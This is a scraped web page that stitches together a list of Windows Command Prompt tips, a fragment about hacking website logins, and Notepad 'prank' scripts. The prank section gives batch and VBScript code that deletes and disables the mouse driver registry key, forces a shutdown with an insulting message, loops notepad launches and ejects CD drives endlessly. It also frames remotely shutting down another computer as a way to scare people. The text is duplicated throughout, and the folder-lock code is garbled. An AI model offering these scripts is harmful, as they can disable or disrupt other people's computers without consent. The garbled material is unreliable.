The Windows Command Prompt tool, and many of its commands, might seem boring or even relatively useless at first glance, but as anyone who has ever used the Command Prompt very often can tell you, there's much to love!
- Simple Hacking Codes
- Hacking
- Free Computer Hacking Codes
- Hacking Codes For Computers
- Simple Hacking Codes For Free
- Simple Hacking Code In Java
- Hacking Tips And Tricks
Simple Hacking Codes
These Command Prompt tricks and other Command Prompt hacks will get you excited about many of the mundane-sounding Command Prompt commands like telnet, tree, or robocopy—okay, robocopy sounds pretty cool.
- Sep 20, 2019 21 Command Prompt tricks and other Command Prompt hacks to help you get the most out of the Command Prompt in Windows 10, 8, 7, Vista, or XP.
- Step 1, Understand that this method won't work for most websites. Unless the website has been created using incredibly rudimentary HTML protection, passwords and login information will be stored in encrypted formats which aren't accessible by looking at the website's HTML.Step 2, Open the website. In a web browser such as Chrome, Firefox, or Safari, go to the website that you want to attempt to hack.Step 3, Go to the 'Login' section. If the website has a dedicated login section, click the.
Some of these Command Prompt tricks and hacks are special features or fun uses for the Command Prompt itself, while others are just neat or relatively unknown things you can do with certain CMD commands.
Some of these Command Prompt tricks and hacks are special features or fun uses for the Command Prompt itself, while others are just neat or relatively unknown things you can do with certain CMD commands. Let's get started! Open Command Prompt and then browse through these 21 super-cool Command Prompt hacks. Sep 26, 2018 As most of you want to learn hacking tricks (ethical) so in this post, I am providing you the Best Hacking tricks PDF for free. In this download, you will get the compilation of Best hacking tricks and eBooks that are free to download. Command Prompt Tricks, Hacks & Codes Command Prompt is one of the most powerful tools in Windows; but sadly, it is also the most ignored one. Things were not always like this; but with the advent of GUI based operating systems, people started feeling that computing through command based tools was boring.
of 21
Use Ctrl+C to Abort a Command
Just about any command can be stopped in its tracks with the abort command: Ctrl+C.
If you haven't actually executed a command, you can just backspace and erase what you've typed, but if you've already executed it then you can do a Ctrl+C to stop it.
Ctrl+C isn't a magic wand and it can't undo things that aren't undoable, like a partially complete format command.
However, for things like the dir command that seem to go on forever or questions you're asked at the prompt that you don't know the answer to, the abort command is an excellent Command Prompt trick to know.
of 21
View a Command's Results One Page (or Line) at a Time
Ever run a command, like the dir command, that produces so much information on the screen that it's almost useless?
One way to manage this info-dump is to execute the command in a special way so whatever information is generated is shown to you one page, or one line, at a time.
Just type the command, the dir command for example, and then follow it with the pipe character and then the more command.
For example, executing dir /s | more will generate the thousands of lines of results that you expect from the dir command, but the more command will pause each page of results with -- More -- at the bottom of the page, indicating that the command is not done running.
Just press the space bar to advance by page or press Enter to advance one line at a time.
of 21
Run Command Prompt as an Administrator Automatically
Many commands require that you execute them from an elevated Command Prompt in Windows—in other words, execute them from a Command Prompt that's run as an administrator.
You can always right-click on any Command Prompt shortcut and choose Run as administrator but creating a shortcut to do the same thing can be a huge timesaver if you're a frequent Command Prompt power user.
To complete this Command Prompt trick, just create a Command Prompt shortcut on the desktop, enter the shortcut's properties and then select the Run as administrator box located in the Advanced button on the Shortcut tab.
of 21
Become a Command Prompt Power User With Function Keys
The fact that the function keys actually do something in the Command Prompt is maybe one of the best kept secrets about the tool:
- F1: Pastes the last executed command (character by character)
- F2: Pastes the last executed command (up to the entered character)
- F3: Pastes the last executed command
- F4: Deletes current prompt text up to the entered character
- F5: Pastes recently executed commands (does not cycle)
- F6: Pastes ^Z to the prompt
- F7: Displays a selectable list of previously executed commands
- F8: Pastes recently executed commands (cycles)
- F9: Asks for the number of the command from the F7 list to paste
of 21
Hack the Prompt Text
Did you know that the prompt itself in the Command Prompt is completely customizable thanks to the prompt command? It is, and when we say customizable, we mean really customizable.
Instead of C:>, you can set the prompt to any text you want, have it include the time, the current drive, the Windows version number (like in this example image), you name it.
One useful example is prompt $m$p$g, which will show the full path of a mapped drive in the prompt, alongside the drive letter.
You can always execute prompt alone, without options, to return it to its sometimes boring default.
of 21
Get Help for Any Command
The help command does not provide help for every Command Prompt command.
However, any command can be suffixed with the /? option, usually called the help switch, to display detailed information about the command's syntax and often times even some examples.
The help switch may not be the coolest Command Prompt trick you've ever heard of, but it's hard to disagree that it's one of the more useful.
Neither the help command nor the help switch offer much in the way of explaining how to interpret the syntax. See How to Read Command Syntax if you need help with that.
of 21
Save a Command's Output to a File
An incredibly useful Command Prompt trick is the use of redirection operators, specifically the > and >> operators.
These little characters let you redirect the output of a command to a text file, giving you a saved version of whatever data the command produced in the Command Prompt window.
For example, let's say you're about to post a computer problem to an online forum and you want to provide really accurate information about your computer. An easy way to do that would be to use the systeminfo command with a redirection operator.
For example, you might execute systeminfo > c:mycomputerinfo.txt to save the information provided by the systeminfo command to that file. You could then attach the file to your forum post.
See How to Redirect Command Output to a File for more examples and a moe in-depth explanation of how to use redirection operators.
of 21
View a Drive's Entire Directory Structure
One of the neatest little commands is the tree command. With tree, you can create a kind of map of the directories on any of your computer's drives.
Execute tree from any directory to see the folder structure under that directory.
With so much information created with this command, it's probably a good idea to export the results of tree to a file so you can actually look through it.
of 21
Customize the Command Prompt Title Bar Text
Tired of that Command Prompt title bar text? No problem, just use the title command to hack it to say whatever you like.
For example, let's say your name is Maria Smith, and you want to express your ownership of the Command Prompt: execute title Property of Maria Smith and the Command Prompt's title bar will change immediately.
The change won't stick, so the next time you open Command Prompt the title bar will be back to normal.
The title command is usually used to help give a custom appearance in script files and batch files—not that titling it with your name isn't a good idea!
of 21
Copy Text From the Command Prompt
Copying from the Command Prompt is not as easy as copying from other programs, which is part of the reason why saving a command's output to a file, which you learned about a few tricks back, is so handy.
However, what if you do just want to copy a short section of text to the clipboard? It's not too hard but it's not very intuitive either:
- Right-click anywhere in the Command Prompt window and choose Mark.
- Highlight with your left mouse button whatever you'd like to copy.
- Press Enter or right-click once.
Now you can paste that information into whatever program you'd like, just like you paste other text.
If you chose Mark but then decided you don't want to copy anything, right-click again to cancel the Mark action, or press the Esc key.
of 21
Open the Command Prompt From Any Location
If you've ever worked in the Command Prompt for very long, you know that it can be really frustrating executing the cd/chdir command over and over again to get to the right directory.
In Windows, open the folder you'd like to start working from, within Command Prompt. When you're there, hold down Shift while you right-click anywhere in the folder.
After the menu pops up, you'll notice an entry that's not usually there: Open command window here. Click that and you'll start a new instance of the Command Prompt, ready and waiting at the right location.
If you're a Command Prompt power user, you'll immediately recognize the value in this little trick.
If you see PowerShell in the right-click menu instead of Command Prompt, make a small change to the Windows Registry to change it to Command Prompt. How-To Geek has a guide on that.
of 21
Drag and Drop For Easy Path Name Entry
Most Command Prompt commands require you to specify full paths to files or folders, but typing out a long path can be frustrating, especially when you miss a character and have to start over.
For example, in Windows 10, the path to the Accessories group in my Start Menu is C:ProgramDataMicrosoftWindowsStart MenuProgramsAccessories. Who wants to type that all in manually? We don't.
Just open the folder in Windows Explorer. Once there, drag the folder or file to the Command Prompt window and let go. Like magic, the full path is inserted, saving you a considerable amount of typing depending on the length and complexity of the path name.
The drag and drop feature doesn't work in an elevated Command Prompt.
of 21
Shut Down or Restart Another Computer
System administrators in a business environment do this all the time for lots of reasons, but you can also shut down or restart another computer on your network, all from your computer's Command Prompt.
The easiest way to shut down a computer remotely is to execute shutdown /i from the Command Prompt to open the Remote Shutdown Dialog, shown here.
Just enter the name of the remote computer (which you can get by running the hostname command on the other PC), choose what you want to do (restart or shutdown), select some other options, and then click OK.
So whether you're brushing up on your command skills or just scaring a family member, this Command Prompt trick is a fun one.
You can also shut down or restart another computer strictly from the Command Prompt with the shutdown command, without using the Remote Shutdown Dialog.
of 21
Use Robocopy as a Backup Solution
Thanks to the robocopy command, you don't need to use Window's backup software or install a program to manage your backups.
Just execute the following, obviously replacing the source and destination folders with whatever you'd like to back up and where it should go.
The robocopy command with these options functions identically to an incremental backup software tool, keeping both locations in sync.
You don't have the robocopy command if you're using Windows XP or earlier. However, you do have the xcopy command, which can be used to do something very similar:
No matter which command you choose to use, just create a BAT file containing the command and schedule it to run in Task Scheduler, and you'll have your own custom made backup solution.
of 21
View Your Computer's Important Network Information
Maybe just for your own information, but certainly when you're troubleshooting a network or internet problem, you'll probably at some point need to know details about your computer's network connection.
Everything you'd want to know about your network connection is available somewhere in the Control Panel in Windows, but it's much easier to find, and much better organized, in the results from the ipconfig command.
What displays on screen next is everything important about your network connection: your IP address, hostname, DHCP server, DNS information, and much, much more.
of 21
Map a Local Folder Just Like a Network Drive
The net use command is used to assign shared drives on a network to your own computer as a drive letter, but did you know there's another command that can be used to do the same thing to any folder on any of your localhard drives?
There is, and it's called the subst command. Just execute the subst command, followed by the path of the folder you wish to appear as a drive.
For example, let's say you want your C:WindowsFonts folder to appear as the Q: drive. Just execute subst q: c:windowsfonts and you're set!
This Command Prompt trick makes accessing a particular location from the Command Prompt much easier.
An easy way to delete the 'network drive' example here is with the subst /d q: command. Just replace the q: with your own drive letter.
of 21
Access Previously Used Commands With the Arrow Keys
Another great Command Prompt trick uses the keyboard arrow keys to cycle through previously executed commands.
The up and down arrow keys cycle through the commands you've entered and the right arrow automatically enters, character by character, the last command you executed.
This might not sound that interesting, but there are several situations where the arrow keys become huge time savers.
Consider this example: You've typed out 75 characters of a command and then try to execute it, only to find that you forgot to add an option at the very end. No problem, just press the up arrow and the entire command is automatically entered in the Command Prompt window, ready for you to edit to make it work.
of 21
Automatically Complete Commands With Tab Completion
Tab completion is another Command Prompt trick that can save you lots of time, especially if your command has a file or folder name in it that you're not completely sure of.
To use tab completion in the Command Prompt, just enter the command and then the portion of the path that you do know, if at all. Then press the Tab key over and over to cycle through all of the available possibilities.
For example, let's say you want to change directories to some folder in the Windows directory but you're not sure what it's named. Type cd c:windows and then press tab until you see the folder you're looking for.
The results cycle in order or you can use SHIFT+TAB to step through the results in reverse.
You know how your smartphone's texting app automatically guesses what it is you want to type next? Tab completion in Command Prompt is sort of like that—only better.
of 21
Find a Website's IP Address
Like to know the IP address of a website? Use the nslookup command or the ping command, but the former is probably faster.
First, let's use the nslookup command to find the IP address of lifewire.com.
Just execute nslookup lifewire.com and view the result. Don't confuse any private IP addresses that also show up in the nslookup results alongside the public IP address of lifewire.com, which is what IP address we're after.
Execute ping lifewire.com and then look at the IP address between the brackets in the first line shown. Don't worry if the ping command 'times out' during execution; all we needed here was the IP address.
You can use the same procedure with any website or any hostname on your local network.
of 21
Copy and Paste Easier With QuickEdit Mode
A number of these Command Prompt tricks have dealt with making copying and pasting easier. So, how about an even easier way to copy from the Command Prompt (and a secret way to easily paste)?
Just right-click on the Command Prompt title bar and select Properties. On the Options tab, in the Edit Options section, check the QuickEdit Mode box and then click OK.
Enabling QuickEdit Mode is like having Mark enabled all the time, so selecting text to copy is really easy.
As a bonus, this also enables a simple way to paste into the Command Prompt: just right click once and whatever you have in the clipboard is pasted in the Command Prompt window. Normally, pasting involves right-clicking and selecting Paste, so this is still a bit different than you're used to.
of 21
Watch Star Wars Episode IV
Yes, you read that correctly, you can watch an ASCII version of the full Star Wars Episode IV movie right in the Command Prompt window!
Just open Command Prompt and execute telnet towel.blinkenlights.nl. The movie will start immediately. Check out the tip below if this doesn't work.
True, this isn't a terribly productive use of the Command Prompt, nor is it really a trick of the Command Prompt or any command, but it sure is fun! We can't imagine the work that went into this homage to the sci-fi masterpiece.
The telnet command isn't normally enabled in Windows but can be turned on by enabling Telnet Client from Windows Features in the Programs and Features applet in Control Panel. If you'd rather not enable Telnet but would like to see the movie, you can also watch it in your browser at Star Wars ASCIIMation.
Notepad is rather a simple text editor offered by windows operating system. Normally we use notepad for typing purpose and also to save the files to keep the record. Notepad is also used by web designers and programmers for coding purpose. Because Notepad supports various different types of extensions. While most of the people think that notepad is only a text editor. If you also think in the same way then you are wrong because in this article we will discuss about different tips, tricks and features which are accessible through notepad. We can use notepad as powerful tool to control and manipulate computer programs and services.
So here we are going to discuss about cool notepad tricks. By using these tricks you may prank and make fun with your friends. With notepad we will create files which can be use to turn Off PC, Disable mouse, dancing keyboard Led, etc. All the below given notepad hacks and tricks may or may not be work depend on your Hardware and Software and Run them at your own risk any kind of data loss or software failure we will not be not be responsible for it.
So here we are going to discuss about cool notepad tricks. By using these tricks you may prank and make fun with your friends. With notepad we will create files which can be use to turn Off PC, Disable mouse, dancing keyboard Led, etc. All the below given notepad hacks and tricks may or may not be work depend on your Hardware and Software and Run them at your own risk any kind of data loss or software failure we will not be not be responsible for it.
List Of All Notepad Tricks And Hacks.
1. Use Notepad As Diary.
This trick is used to save your notepad document with data and time every time you open the notepad it will looks like a dairy. You have to type the following command.
1. Type the Name.Log in capital letters in notepad.
2. Save the file with default extension and close it.
2. Save the file with default extension and close it.
2. Falling Matrix Code Effect.
This is another fabulous in all notepad hacks that will show green matrix falling in the black screen. Copy the code given below.
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Hacking
Save the file with, Name.bat extension and open the file.
3. Dancing Keyboard LED.
Another amazing in all notepad tricks that show you the dancing of keyboard Leds. Copy the code given below.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
do
wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
Save the notepad file with Name.vbs extension and double click it.
4. Eject CD Drive Continuously.
This is another popular vb script that run using notepad. It show you the continuous movement of your CD/DVD drive until you stop the script. It is really amazing among all notepad tricks to prank others. Just copy the code given below.
Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save the file with Name.vbs extension and run it.
5. Computer Speaking Your Message.
This notepad trick able you to speak your message through computer. Copy the code given below.
Dim speaks, speech
speaks=”Welcome to SafeTricks.com”
Set speech=CreateObject(“sapi.spvoice”)
speech.Speak speaks
speaks=”Welcome to SafeTricks.com”
Set speech=CreateObject(“sapi.spvoice”)
speech.Speak speaks
Save the file with Name.vbs extension and double click to run it.
Replace the text “Welcome to SafeTricks.com” with your message.
Replace the text “Welcome to SafeTricks.com” with your message.
6. Disable The Mouse.
This is another prank in all notepad hacks that disable your mouse after double clicking the file that is created by using the code given below.
Free Computer Hacking Codes
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
set key=”HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Save the file with Name.vbs extension and run it.
7. Shut Down PC.
This is another cool list of notepad hacks which i like the most. This will able you to shut down PC by simply double clicking the file. Copy the code given below.
@echo off
Shutdown.exe -s -t 10
cls
msg * I don’t like you SHIT!
Shutdown.exe -s -t 10
cls
msg * I don’t like you SHIT!
Save the file with Name.bat extension and enjoy it.
8. Create Password Protected Folder Lock.
Copy below given code.
@ECHO OFF
title Folder Locker
if EXIST “Control Panel.{21EC2020-3AEC->{kme”D001fd fv001220001300019D%’D%”2 ‘?tl
LOg%1eQ`g KW M001c0002Wno oepGo>jLViNCKER
:CONFIRM
gco I20004 y1 sure };vaw to Lo#k the ldr %8Ye*AN]39%A
ft50002CpK
title Folder Locker
if EXIST “Control Panel.{21EC2020-3AEC->{kme”D001fd fv001220001300019D%’D%”2 ‘?tl
LOg%1eQ`g KW M001c0002Wno oepGo>jLViNCKER
:CONFIRM
gco I20004 y1 sure };vaw to Lo#k the ldr %8Ye*AN]39%A
ft50002CpK
9. World Trade Center Attack.
This is another popular in all notepad tricks. The flight number for the plane that hit the World Trade Center on 9/11 was Q33N. Now follow the instructions to use this trick.
Hacking Codes For Computers
1. Type the flight number into Notepad.
2. Change font size to 72.
3. Change font to Windings. Now you will see the effects.
2. Change font size to 72.
3. Change font to Windings. Now you will see the effects.
10. Fake windows Error.
With this simple trick you can easily create fake windows error pop ups. You can also use this trick to have fun with your friends. This trick can rather be used to scare off unwanted users. Thus, to create a fake windows error pop up, follow the given steps.
1. First of all, open Notepad
2. Type X=Msgbox(“Message Here”,0+16,”Title Here”)
3. Replace Message Here and Title Here with your Error Message and
Error-Window Title respectively.
4. Save the file with .vbs extension.
5. Then, click the file and you’ll get your custom-made Windows error message.
2. Type X=Msgbox(“Message Here”,0+16,”Title Here”)
3. Replace Message Here and Title Here with your Error Message and
Error-Window Title respectively.
4. Save the file with .vbs extension.
5. Then, click the file and you’ll get your custom-made Windows error message.
Simple Hacking Codes For Free
11. Test Real Time Protection Of Antivirus.
With this yet another amazing notepad trick, you can test the real time protection feature of your anti virus. All you have to do is rather create a simple notepad file. This file will appear to the anti-virus as malware but do not worry it is harmless. So here are the steps to test real time protection with notepad :
- First of all, Open Notepad.
- Copy this code:
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
- Save the with .COM extension. For example, testantivirus.com
Your anti virus should definitely show an alert and quarantine this file also. If not, you need to switch your anti-virus program.
12. Open Notepad continuously.
Simple Hacking Code In Java
This is rather an extremely fun prank to play on your friends computer. Because it will keep opening notepad again and again with is very frustrating and annoying. Just copy the code given below.
Hacking Tips And Tricks
@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO topSave it as a .vbs file and enjoy pranking people.
:top
START %SystemRoot%system32notepad.exe
GOTO topSave it as a .vbs file and enjoy pranking people.
In conclusion, these are the best notepad tricks 2016. If you think we missed any trick or need help with the ones mentioned above, feel free to comment below.